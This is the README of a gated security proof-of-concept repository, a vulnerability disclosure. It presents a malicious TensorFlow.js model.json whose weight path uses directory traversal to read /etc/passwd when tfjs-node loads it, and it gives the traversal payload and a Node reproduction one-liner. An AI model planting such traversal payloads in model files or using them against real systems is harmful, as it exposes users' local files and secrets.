Ano1X8's picture
Upload 2 files
996465d verified
|
Raw
History Blame Contribute Delete
1.8 kB
---
license: mit
tags:
- security-poc
- do-not-use
---
# TensorFlow.js `model.json` path-traversal PoC (gated security artifact)
**Gated security PoC. Access restricted to huntr / ProtectAI triage (`protectai-bot`).**
This repo hosts a **malicious** TensorFlow.js model file that demonstrates an arbitrary
local-file-read triggered purely by loading the model in Node.js. Do not load it on a machine
whose local files you care about — it reads `/etc/passwd` into the model's weight data.
## The malicious file
`model.json` is a valid TensorFlow.js GraphModel manifest. Its `weightsManifest[0].paths[0]` is a
directory-traversal string:
```json
"paths": [ "../../../../../../../../../../../../../../../../../../../../etc/passwd" ]
```
When `@tensorflow/tfjs-node` loads this model, `NodeFileSystem.loadWeights()` does
`readFile(join(dirname(model.json), path))` with **no containment check**, so it reads
`/etc/passwd` and returns its bytes as `ModelArtifacts.weightData`.
## Reproduce (standard "download a model, load it locally" flow)
```bash
npm install @tensorflow/tfjs-node@latest
# download model.json from this repo into ./m/
node -e '
const tf = require("@tensorflow/tfjs-node");
tf.io.fileSystem("./m/model.json").load().then(a => {
console.log("bytes read:", a.weightData.byteLength);
console.log(Buffer.from(a.weightData).toString("utf8").split("\n").slice(0,3).join("\n"));
});
'
# -> prints the first lines of /etc/passwd (root:x:0:0:...)
```
`tf.io.fileSystem(...).load()` is exactly the handler that the public
`tf.loadGraphModel("file://.../model.json")` / `tf.loadLayersModel("file://...")` entrypoints use
internally. The same sink exists in `@tensorflow/tfjs-inference`.
See the linked huntr report for full root-cause, affected packages, and remediation.